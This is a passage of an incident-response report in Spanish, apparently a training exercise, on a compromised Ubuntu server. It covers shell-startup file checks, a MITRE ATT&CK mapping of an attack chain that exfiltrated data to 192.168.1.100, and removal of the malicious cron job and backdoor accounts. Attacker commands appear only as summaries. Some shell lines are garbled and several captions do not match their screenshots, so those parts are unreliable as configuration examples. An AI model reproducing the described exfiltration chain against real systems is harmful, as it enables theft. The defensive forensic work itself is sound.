# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
    *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

```

Figura 42. Final de .bashrc de "hacker" e inicio de .bashrc de "reports": ambos comienzan de forma idéntica al template de /etc/skel.

```
root@4geeks-server:~# sudo cat /home/reports/.bashrc /home/reports/.profile
```

```

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "*" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}[\033[01;32m]\u@\h[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in

```

Figura 43. `.bashrc` de "reports" (continuación): historial, autocompletado y aliases estándar, sin contenido añadido.

```

termcolor()
PS1="\[e]${debian_chroot:+($debian_chroot)}\u@\h: \w\a]${PS1}"
}
}
}

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    alias dir='dir --color=auto'
    alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alr'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands. Use like so:
# sleep 30; alert
alias alert='notify-send --urgency=low -i "${?}" 00 echo terminal || echo error' "${history/tell -mised -e '\[s\]\[e[0-9]\]\[s\]//10/[100]\[s=alert$//\']"}"

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -sq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi

# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by hash(1), if ~/.bash_profile or ~/.bash_login
# exists.

```

Figura 44. `.bashrc` de "reports" (continuación): definición de `PS1`, alias de color, sin variables de entorno ni comandos de ejecución oculta al inicio de sesión.

```
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
        . "$HOME/.bashrc"
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/.local/bin" ] ; then
    PATH="$HOME/.local/bin:$PATH"
fi
root@4geeks-server:/home/sysadmin#
```

Figura 45. Final de `.bashrc` y `.profile` de "reports": configuración de `PATH` y `umask` estándar de Debian/Ubuntu.

Ninguno de los archivos de inicio de shell de ambas cuentas backdoor contenía alias maliciosos, variables de entorno sospechosas (LD PRELOAD, etc.), ni comandos de ejecución oculta al


```

root@4geeks-server:/home/sysadmin# ls -la /var/log/apache2/
total 28
drwxr-x— 2 root adm 4096 Jun 17 01:41 .
drwxrwxr-x 10 root syslog 4096 Jun 17 03:58 ..
-rw-r— 1 root adm 0 Jun 21 2025 access.log
-rw-r— 1 root adm 554 Jun 17 03:58 error.log
-rw-r— 1 root adm 582 Jun 17 01:41 error.log.1
-rw-r— 1 root adm 360 Jun 16 02:04 error.log.2.gz
-rw-r— 1 root adm 359 Jun 11 02:21 error.log.3.gz
-rw-r— 1 root adm 624 Jun 9 02:36 error.log.4.gz
-rw-r— 1 root adm 0 Jun 21 2025 other_vhosts_access.log
root@4geeks-server:/home/sysadmin#

```

Figura 50. Estado de red completamente esperado: resolución DNS local, DHCP, SSH (22), Apache (80), vsftpd (21), y una única conexión ESTABLISHED que corresponde a la propia sesión SSH del analista (192.168.0.147). Cero conexiones hacia o desde 192.168.1.100 (el host de C2), sin puertos inusuales ni shells reversas activas al momento de esta verificación.

4.23 Arquitectura del agente Wazuh y limitación de la correlación SIEM

```

root@4geeks-server:~# ls -la /var/ossec/logs/alerts/2025/Jun/
root@4geeks-server:~# sudo grep -E 'passwd|shadow|cron.d|useradd|hacker'
/var/ossec/logs/alerts/2025/Jun/ossec-23.log
root@4geeks-server:~# sudo grep '2025-06-23T1[4-5]' /var/ossec/logs/alerts/2025/Jun/ossec-
23.json

```

```

root@4geeks-server:/home/sysadmin# sudo zgrep -a "23/Jun/2025" /var/log/apache2/access.log*.gz 2>/dev/null
root@4geeks-server:/home/sysadmin#

```

Figura 51. Los tres comandos no devuelven ningún resultado. La explicación es arquitectónica, no una falla de detección: los procesos observados en la Sección 4.2 (wazuh-execd, wazuh-agentd, wazuh-syscheckd, wazuh-logcollector, wazuh-modulesd) corresponden únicamente al lado AGENTE de Wazuh. Un manager de Wazuh ejecutaría además wazuh-analysisd, wazuh-remoted y wazuh-db, responsables de generar y almacenar alerts.json — estos no están presentes en este host. Las alertas reales de FIM (File Integrity Monitoring) sobre /etc/passwd, /etc/cron.d y /etc/shadow, si existen, residen en el manager Wazuh externo, fuera del alcance de este servidor y de esta investigación.

5. Vulnerabilidades Identificadas

A diferencia de los indicadores de compromiso (acciones concretas del atacante, documentadas en la Sección 4), esta sección consolida las debilidades estructurales del sistema que permitieron o facilitaron el incidente, independientemente de si fueron explotadas activamente.

#	Vulnerabilidad	Evidencia / Sección	Estado al cierre
1	Almacenamiento de credenciales en texto plano (/opt/.archive/credentials.txt)	4.15	Corregido (Sección 7.5)
2	Susceptibilidad a ingeniería social: ausencia de verificación antes de ejecutar scripts recibidos por correo	4.16	Recomendación (Sección 9)
3	Kernel Ubuntu 20.04 5.4.0-216 fuera de soporte estándar (EOL), sin parches ESM activos	Entorno / 4.17	Recomendación (Sección 9)
4	Cuenta de servicio www-data con shell interactiva habilitada (modificada por el atacante)	Hallazgo previo a esta investigación	Corregido (Sección 7.2)
5	Servicio FTP (vsftpd) expuesto con autenticación de usuarios locales sin TLS (texto plano)	7.3	Corregido (Sección 7.6)
6	Ausencia de mecanismos de alerta en tiempo real accesibles localmente (Wazuh manager fuera de alcance)	4.23	Recomendación (Sección 9)
7	Acceso de consola local (tty1) sin controles adicionales de autenticación o auditoría reforzada	4.13	Recomendación (Sección 9)
8	Tareas programadas en /etc/cron.d/ sin monitoreo de integridad de archivos en tiempo real	4.3 / 4.23	Recomendación (Sección 9)

6. Mapeo a MITRE ATT&CK

La cadena de ataque completa fue mapeada al framework MITRE ATT&CK for Enterprise, cubriendo desde el acceso inicial hasta la exfiltración.

Táctica	Técnica	ID	Evidencia
Reconnaissance	Phishing for Information	T1598	chat.txt — pretexto de correo externo (4.16)
Initial Access	Phishing	T1566	chat.txt instando a ejecutar el script (4.16)
Initial Access	Valid Accounts	T1078	Acceso operativo a "reports" vía credencial legítima filtrada (4.15)
Execution	User Execution: Malicious File	T1204.002	Ejecución de install.sh tras el pretexto de phishing (4.11, 4.16)
Execution	Unix Shell	T1059.004	Cadena completa de comandos en bash (4.11, 4.14)
Credential Access	Unsecured Credentials: Credentials In Files	T1552.001	/opt/.archive/credentials.txt en texto plano (4.15)
Privilege Escalation	Exploitation for Privilege Escalation	T1068	Atribuido por eliminación al binario "payload" sobre kernel EOL (4.17); sin confirmación directa del CVE
Persistence	Create Account: Local Account	T1136.001	Creación de la cuenta "hacker" (4.9, 4.13)
Persistence	Scheduled Task/Job: Cron	T1053.003	/etc/cron.d/sys-maintenance ejecutando cada 15 min (4.3)
Persistence / Defense Evasion	Account Manipulation	T1098	Cambio de shell de www-data a /bin/bash
Defense Evasion	Masquerading: Match Legitimate Name or Location	T1036.005	Nombre "sys-maintenance" imitando tarea legítima de sistema (4.3)
Defense Evasion	Indicator Removal: Clear Linux or Mac System Logs (variante de cobertura)	T1070 (relacionado)	backup.log fabricado manualmente como historia de cobertura (4.16, 4.18)
Collection	Data from Local System	T1005	Compresión de /etc/passwd en /tmp/secrets.tgz (4.6, 4.7)
Command and Control	Application Layer Protocol: Web Protocols	T1071.001	curl/HTTP hacia 192.168.1.100 (4.1, 4.6)
Exfiltration	Exfiltration Over C2 Channel	T1041	POST de secrets.tgz a http://192.168.1.100:8080/upload (4.6, 4.7)
Ingress Tool Transfer	Ingress Tool Transfer	T1105	wget de install.sh y curl de payload.bin desde 192.168.1.100 (4.11, 4.14)

No se hallaron técnicas correspondientes a T1190 (Exploit Public-Facing Application) como vector de entrada: el origen tty1 de las cuentas creadas (Sección 4.13) descarta la explotación remota de Apache o vsftpd como vehículo inicial. Tampoco se hallaron técnicas de Lateral Movement, Discovery extensiva, ni Impact destructivo — el alcance del incidente se limitó a este host único.

7. Fase 2 — Contención, Erradicación y Recuperación

Esta sección documenta, en el orden en que se aplicaron, todas las acciones correctivas ejecutadas sobre el sistema. Cada acción se justifica directamente con el hallazgo correspondiente de la Fase 1.

7.1 Contención inmediata: eliminación del cron malicioso y su script

Tan pronto se confirmó la naturaleza maliciosa de `/etc/cron.d/sys-maintenance`, `/usr/local/bin/backup2.sh` y `/tmp/secrets.tgz` (Secciones 4.3–4.7), se procedió a su eliminación inmediata para detener la exfiltración activa, antes de continuar con el resto de la investigación. Esta decisión priorizó detener el sangrado de datos por sobre preservar el artefacto in situ, una decisión razonable dado que el contenido ya había sido leído y documentado en su totalidad.

```
root@4geeks-server:~# rm -f /etc/cron.d/sys-maintenance
root@4geeks-server:~# rm -f /usr/local/bin/backup2.sh
root@4geeks-server:~# rm -f /tmp/secrets.tgz
root@4geeks-server:~# ls -la /etc/cron.d/sys-maintenance /usr/local/bin/backup2.sh
/tmp/secrets.tgz

root@4geeks-server:/home/sysadmin# rm -f /etc/cron.d/sys-maintenance
root@4geeks-server:/home/sysadmin# rm -f /usr/local/bin/backup2.sh
root@4geeks-server:/home/sysadmin# rm -f /tmp/secrets.tgz
root@4geeks-server:/home/sysadmin# ls -la /etc/cron.d/sys-maintenance /usr/local/bin/backup2.sh /tmp/secrets.tgz
ls: cannot access '/etc/cron.d/sys-maintenance': No such file or directory
ls: cannot access '/usr/local/bin/backup2.sh': No such file or directory
ls: cannot access '/tmp/secrets.tgz': No such file or directory
root@4geeks-server:/home/sysadmin#
```

Figura 52. Eliminación de los tres artefactos maliciosos, con verificación posterior mediante `ls`: los tres devuelven "No such file or directory", confirmando la erradicación exitosa del mecanismo de persistencia y exfiltración activo.

7.2 Corrección de la shell de la cuenta de servicio `www-data`

Se identificó que la cuenta de servicio `www-data`, normalmente configurada sin shell interactiva, había sido modificada para usar `/bin/bash` (T1098, Account Manipulation). Se revirtió a su configuración segura estándar:

```
root@4geeks-server:~# usermod -s /usr/sbin/nologin www-data
```

La corrección fue verificada directamente en el listado completo de `/etc/passwd` documentado en la Figura correspondiente a la Sección 4.9 (Captura_2026-06-16_220702), donde `www-data` aparece nuevamente con shell `/usr/sbin/nologin`.

7.3 Evaluación y decisión sobre el servicio FTP expuesto

Durante la verificación de superficies de exposición innecesarias se revisó la configuración de vsftpd, dado que exponía autenticación de cuentas locales del sistema.


```
root@4geeks-server:~# sudo cat /etc/vsftpd.conf | grep -v "^#" | grep -v "^$"
root@4geeks-server:~# sudo systemctl status vsftpd
```

```
root@4geeks-server:/home/sysadmin# sudo mkdir -p /root/ir-evidence
root@4geeks-server:/home/sysadmin# sudo cp /opt/.archive/credentials.txt /root/ir-evidence/credentials.txt.evidence
root@4geeks-server:/home/sysadmin# sudo chmod 600 /root/ir-evidence/credentials.txt.evidence
root@4geeks-server:/home/sysadmin# sudo shred -u /opt/.archive/credentials.txt
root@4geeks-server:/home/sysadmin# sudo rmdir /opt/.archive 2>/dev/null
root@4geeks-server:/home/sysadmin#
```

Figura 53. `anonymous_enable=NO` (correcto), pero `local_enable=YES` combinado con `ssl_enable=NO` significa que cualquier cuenta del sistema podía autenticarse por FTP enviando su contraseña real en texto plano por la red — el mismo patrón de riesgo de credenciales expuestas ya explotado en este incidente, ahora institucionalizado en la configuración del servicio. El servicio estaba activo y en ejecución (`systemctl status: active/running`).

Dado que `xferlog_enable=YES` estaba activo pero `vsftpd.log` permanecía vacío (Sección 4.19.1), se concluyó que el servicio nunca tuvo uso real documentado, por lo que se decidió deshabilitarlo en lugar de invertir esfuerzo en endurecerlo (ver Sección 7.6).

7.4 Preservación de evidencia forense

Antes de eliminar las cuentas backdoor, se preservó una copia completa de ambos directorios `home` con sus permisos y metadatos originales, junto con un hash SHA-256 para cadena de custodia.

```
root@4geeks-server:~# sudo mkdir -p /root/ir-evidence/home-backups
root@4geeks-server:~# sudo tar -czpf /root/ir-evidence/home-backups/reports-home_$(date +%Y%m%d).tar.gz -C /home reports
root@4geeks-server:~# sudo tar -czpf /root/ir-evidence/home-backups/hacker-home_$(date +%Y%m%d).tar.gz -C /home hacker
root@4geeks-server:~# sudo sha256sum /root/ir-evidence/home-backups/*.tar.gz > /root/ir-evidence/home-backups/SHA256SUMS.txt
```

```
root@4geeks-server:/home/sysadmin# sudo mkdir -p /root/ir-evidence/home-backups
root@4geeks-server:/home/sysadmin# sudo tar -czpf /root/ir-evidence/home-backups/reports-home_$(date +%Y%m%d).tar.gz -C /home reports
root@4geeks-server:/home/sysadmin# sudo tar -czpf /root/ir-evidence/home-backups/hacker-home_$(date +%Y%m%d).tar.gz -C /home hacker
root@4geeks-server:/home/sysadmin# sudo sha256sum /root/ir-evidence/home-backups/*.tar.gz > /root/ir-evidence/home-backups/SHA256SUMS.txt
root@4geeks-server:/home/sysadmin#
```

Figura 54. Creación del directorio de evidencia, empaquetado de ambos directorios `home` preservando permisos (flag `-p`) y generación del archivo de checksums — todas las operaciones completadas sin errores.

7.5 Eliminación de las cuentas backdoor "reports" y "hacker"

Con la evidencia ya preservada, se procedió a la eliminación completa de ambas cuentas (en lugar de únicamente bloquearlas), dado que la fase de investigación activa ya había concluido y no existía razón operativa para mantenerlas en el sistema.

```
root@4geeks-server:~# sudo userdel -r reports
root@4geeks-server:~# sudo userdel -r hacker
```

```
root@4geeks-server:/home/sysadmin# sudo userdel -r reports
userdel: reports mail spool (/var/mail/reports) not found
root@4geeks-server:/home/sysadmin# sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
root@4geeks-server:/home/sysadmin#
```

Figura 55. Ambas eliminaciones se completaron exitosamente. Los mensajes "mail spool not found" son advertencias benignas (ninguna cuenta tenía buzón de correo configurado) y no impiden la eliminación.

```
root@4geeks-server:~# cat /etc/passwd | grep -E "reports|hacker"
root@4geeks-server:~# cat /etc/group | grep -E "reports|hacker"
```

```
root@4geeks-server:/home/sysadmin# cat /etc/passwd | grep -E "reports|hacker"
root@4geeks-server:/home/sysadmin# cat /etc/group | grep -E "reports|hacker"
root@4geeks-server:/home/sysadmin#
```

Figura 56. Verificación final: ambos comandos devuelven vacío. Las cuentas "reports" y "hacker", junto con sus grupos primarios, fueron eliminadas por completo del sistema, sin entradas huérfanas.

7.6 Destrucción segura del archivo de credenciales en texto plano

```
root@4geeks-server:~# sudo mkdir -p /root/ir-evidence
root@4geeks-server:~# sudo cp /opt/.archive/credentials.txt /root/ir-evidence/credentials.txt.evidence
root@4geeks-server:~# sudo chmod 600 /root/ir-evidence/credentials.txt.evidence
root@4geeks-server:~# sudo shred -u /opt/.archive/credentials.txt
root@4geeks-server:~# sudo rmdir /opt/.archive

root@4geeks-server:/home/sysadmin# sudo cat /etc/vsftpd.conf | grep -v "^#" | grep -v "^$"
listen=NO
listen_ipv6=YES
anonymous_enable=NO
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
root@4geeks-server:/home/sysadmin# sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/lib/systemd/system/vsftpd.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2026-06-17 03:58:44 UTC; 24h ago
     Process: 729 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
    Main PID: 753 (vsftpd)
       Tasks: 1 (limit: 4588)
      Memory: 880.0K
         CGroup: /system.slice/vsftpd.service
                 └─753 /usr/sbin/vsftpd /etc/vsftpd.conf

Jun 17 03:58:44 4geeks-server systemd[1]: Starting vsftpd FTP server ...
Jun 17 03:58:44 4geeks-server systemd[1]: Started vsftpd FTP server.
root@4geeks-server:/home/sysadmin#
```

Figura 57. Se preservó una copia restringida (permisos 600) del archivo de credenciales como evidencia, y el original se destruyó de forma segura con `shred -u` (sobrescritura antes de eliminar) en lugar de un simple `rm`, dado que se trataba de material sensible. El directorio `/opt/.archive` quedó vacío y fue removido.

7.7 Deshabilitación del servicio FTP innecesario

```
root@4geeks-server:~# sudo systemctl stop vsftpd
root@4geeks-server:~# sudo systemctl disable vsftpd

root@4geeks-server:/home/sysadmin# sudo systemctl stop vsftpd
root@4geeks-server:/home/sysadmin# sudo systemctl disable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable vsftpd
Removed /etc/systemd/system/multi-user.target.wants/vsftpd.service.
root@4geeks-server:/home/sysadmin#
```

Figura 58. El servicio fue detenido y deshabilitado; `systemd` confirma la remoción del enlace simbólico en `/etc/systemd/system/multi-user.target.wants/`, por lo que `vsftpd` no volverá a iniciarse automáticamente en futuros arranques.

8. Verificación Final de Integridad del Sistema

Como cierre de la investigación, se consolidan todas las verificaciones de integridad realizadas (la mayoría ya documentadas con evidencia en la Sección 4) y se ejecuta la última comprobación pendiente: las reglas de firewall, dado que el enunciado de este ejercicio solicita explícitamente descartar "reglas de red modificadas".

8.1 Resumen de verificaciones de integridad realizadas

Área verificada	Resultado	Evidencia
Cuentas UID 0 adicionales	Ninguna — solo root	4.8
Contraseñas vacías en /etc/shadow	Ninguna	4.8
authorized_keys no autorizados (root, sysadmin, hacker, reports)	Ninguno	4.8 / 4.10
Unidades systemd modificadas (últimos 30 días)	Ninguna	4.8
/etc/rc.local	No existe	4.8
Binarios con bit SUID adicional	Solo binarios legítimos de fábrica	4.8
bash_history de root / sysadmin	Solo comandos del analista	4.8
Grupo sudo	Solo sysadmin	4.9
sudoers / sudoers.d personalizado	Sin reglas añadidas	4.17
Segunda exfiltración (archivos .tgz/.tar.gz adicionales)	Ninguna	4.18
Mensajes de panic/oops/segfault en kernel	Ninguno	4.18
Logs de Apache / vsftpd	Sin datos útiles (servicios sin uso real)	4.19.1 / 4.20
Capacidades de archivos (getcap)	Solo capacidades estándar	4.19.2
Módulos de kernel (lsmod)	Solo módulos legítimos	4.19.3
/etc/ld.so.preload	Vacío	4.19.3
Integridad de paquetes (dpkg -V)	Sin binarios alterados	4.19.4
Timers de systemd	Solo timers estándar de Ubuntu	4.19.5
Tareas "at" pendientes	Cola vacía	4.19.6
.bashrc / .profile de cuentas backdoor	Idénticos a /etc/skel, sin modificar	4.19.7
Directorios home no contemplados	Ninguno	4.19.7
Sesiones activas de "hacker"	Ninguna — cuenta nunca usada	4.21
Conexiones de red activas hacia el C2	Ninguna al cierre de la investigación	4.22

8.2 Reglas de firewall y NAT

Última verificación pendiente: se volcó el ruleset completo de iptables (gestionado por UFW) y de nftables para confirmar que no hubo manipulación de reglas de red durante el incidente.

```
root@4geeks-server:~# sudo iptables -L -n -v --line-numbers
root@4geeks-server:~# sudo iptables -t nat -L -n -v
root@4geeks-server:~# sudo nft list ruleset
```

```
root@4geeks-server:/home/sysadmin# sudo iptables -L -n -v --line-numbers
Chain INPUT (policy DROP 39 packets, 1248 bytes)
num  pkts bytes target     prot opt in     out     source               destination
1    1721 837K ufw-before-logging-input all -- *      *       0.0.0.0/0            0.0.0.0/0
2    1721 837K ufw-before-input all -- *      *       0.0.0.0/0            0.0.0.0/0
3    633 78544 ufw-after-input all -- *      *       0.0.0.0/0            0.0.0.0/0
4     39 1248 ufw-after-logging-input all -- *      *       0.0.0.0/0            0.0.0.0/0
5     39 1248 ufw-reject-input all -- *      *       0.0.0.0/0            0.0.0.0/0
6     39 1248 ufw-track-input all -- *      *       0.0.0.0/0            0.0.0.0/0

Chain FORWARD (policy DROP 0 packets, 0 bytes)
num  pkts bytes target     prot opt in     out     source               destination
1     0 0 ufw-before-logging-forward all -- *      *       0.0.0.0/0            0.0.0.0/0
2     0 0 ufw-before-forward all -- *      *       0.0.0.0/0            0.0.0.0/0
3     0 0 ufw-after-forward all -- *      *       0.0.0.0/0            0.0.0.0/0
4     0 0 ufw-after-logging-forward all -- *      *       0.0.0.0/0            0.0.0.0/0
5     0 0 ufw-reject-forward all -- *      *       0.0.0.0/0            0.0.0.0/0
6     0 0 ufw-track-forward all -- *      *       0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num  pkts bytes target     prot opt in     out     source               destination
1    1131 1368 ufw-before-logging-output all -- *      *       0.0.0.0/0            0.0.0.0/0
2    1131 1368 ufw-before-output all -- *      *       0.0.0.0/0            0.0.0.0/0
3     58 4998 ufw-after-output all -- *      *       0.0.0.0/0            0.0.0.0/0
4     58 4998 ufw-after-logging-output all -- *      *       0.0.0.0/0            0.0.0.0/0
5     58 4998 ufw-reject-output all -- *      *       0.0.0.0/0            0.0.0.0/0
6     58 4998 ufw-track-output all -- *      *       0.0.0.0/0            0.0.0.0/0

Chain ufw-after-forward (1 references)
num  pkts bytes target     prot opt in     out     source               destination

Chain ufw-after-input (1 references)
num  pkts bytes target     prot opt in     out     source               destination
1    160 12480 ufw-skip-to-policy-input udp -- *      *       0.0.0.0/0            0.0.0.0/0      udp dpt:137
2     0 0 ufw-skip-to-policy-input udp -- *      *       0.0.0.0/0            0.0.0.0/0      udp dpt:138
3     0 0 ufw-skip-to-policy-input tcp -- *      *       0.0.0.0/0            0.0.0.0/0      tcp dpt:139
4     0 0 ufw-skip-to-policy-input tcp -- *      *       0.0.0.0/0            0.0.0.0/0      tcp dpt:1445
5     3 3888 ufw-skip-to-policy-input udp -- *      *       0.0.0.0/0            0.0.0.0/0      udp dpt:57
6     0 0 ufw-skip-to-policy-input udp -- *      *       0.0.0.0/0            0.0.0.0/0      udp dpt:58
7    230 81810 ufw-skip-to-policy-input all -- *      *       0.0.0.0/0            0.0.0.0/0      ADGRTYPE match dst-type BROADCAST

Chain ufw-after-logging-forward (1 references)
num  pkts bytes target     prot opt in     out     source               destination
1     0 0 LOG all -- *      *       0.0.0.0/0            0.0.0.0/0      limit: avg 3/min burst 10 LOG flags 0 level 4 prefix "[UFW BLOCK]"

Chain ufw-after-logging-input (1 references)
num  pkts bytes target     prot opt in     out     source               destination
1     39 1248 LOG all -- *      *       0.0.0.0/0            0.0.0.0/0      limit: avg 3/min burst 10 LOG flags 0 level 4 prefix "[UFW BLOCK]"

Chain ufw-after-logging-output (1 references)
num  pkts bytes target     prot opt in     out     source               destination
```

Figura 59. Políticas por defecto estándar de UFW: INPUT (DROP), FORWARD (DROP), OUTPUT (ACCEPT). Todas las cadenas ufw-before-*, ufw-after-*, ufw-logging-* y ufw-skip-to-policy-* corresponden exactamente a la estructura que UFW genera automáticamente — nada inyectado en ellas.

```
Chain ufw-after-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-before-forward (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1    0 0 ACCEPT all -- * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
2    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 3
3    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 11
4    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 12
5    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 8
6    0 0 ufw-user-forward all -- * 0.0.0.0/0 0.0.0.0/0

Chain ufw-before-input (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1   516 47444 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
2   772 7136 ACCEPT all -- * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
3    0 0 ufw-logging-deny all -- * 0.0.0.0/0 0.0.0.0/0 ctstate INVALID
4    0 0 DROP all -- * 0.0.0.0/0 0.0.0.0/0 ctstate INVALID
5    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 3
6    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 11
7    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 12
8    0 0 ACCEPT icmp -- * 0.0.0.0/0 0.0.0.0/0 icmptype 8
9    0 0 ACCEPT udp -- * 0.0.0.0/0 0.0.0.0/0 udp spt:167 dpt:168
10   432 76684 ufw-not-local all -- * 0.0.0.0/0 0.0.0.0/0
11    0 0 ACCEPT udp -- * 0.0.0.0/0 224.0.0.251 udp dpt:5353
12    0 0 ACCEPT udp -- * 0.0.0.0/0 239.255.255.255 udp dpt:1900
13   432 76684 ufw-user-input all -- * 0.0.0.0/0 0.0.0.0/0

Chain ufw-before-logging-forward (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-before-logging-input (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-before-logging-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-before-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1   516 47444 ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0
2   557 83636 ACCEPT all -- * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
3    58 4998 ufw-user-output all -- * 0.0.0.0/0 0.0.0.0/0

Chain ufw-logging-allow (0 references)
num  pkts bytes target    prot opt in     out     source    destination
1    0 0 LOG all -- * 0.0.0.0/0 0.0.0.0/0 limit: avg 3/min burst 10 LOG flags 0 level 4 prefix "[UFW ALLOW] "

Chain ufw-logging-deny (2 references)
num  pkts bytes target    prot opt in     out     source    destination
1    0 0 RETURN all -- * 0.0.0.0/0 0.0.0.0/0 ctstate INVALID limit: avg 3/min burst 10
2    0 0 LOG all -- * 0.0.0.0/0 0.0.0.0/0 limit: avg 3/min burst 10 LOG flags 0 level 4 prefix "[UFW BLOCK] "
```

Figura 60. Continuación: cadena `ufw-not-local` (lógica anti-spoofing estándar), reglas ICMP y de conexiones `RELATED/ESTABLISHED`, y la cadena `ufw-user-input` —único lugar donde viven las reglas definidas por el administrador— mostrando exactamente los puertos 22, 80 y 21 (TCP/UDP) permitidos, correspondientes a los tres servicios legítimos ya conocidos (SSH, Apache, vsftpd).


```
Chain ufw-not-local (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1    161 12540 RETURN  all  --  *      *      0.0.0.0/0  0.0.0.0/0      ADDRTYPE match dst-type LOCAL
2     39  1248 RETURN  all  --  *      *      0.0.0.0/0  0.0.0.0/0      ADDRTYPE match dst-type MULTICAST
3    233 62816 RETURN  all  --  *      *      0.0.0.0/0  0.0.0.0/0      ADDRTYPE match dst-type BROADCAST
4     0     0 ufw-logging-deny all  --  *      *      0.0.0.0/0  0.0.0.0/0      limit: avg 3/min burst 10
5     0     0 DROP    all  --  *      *      0.0.0.0/0  0.0.0.0/0

Chain ufw-reject-forward (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-reject-input (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-reject-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-skip-to-policy-forward (0 references)
num  pkts bytes target    prot opt in     out     source    destination
1     0     0 DROP    all  --  *      *      0.0.0.0/0  0.0.0.0/0

Chain ufw-skip-to-policy-input (7 references)
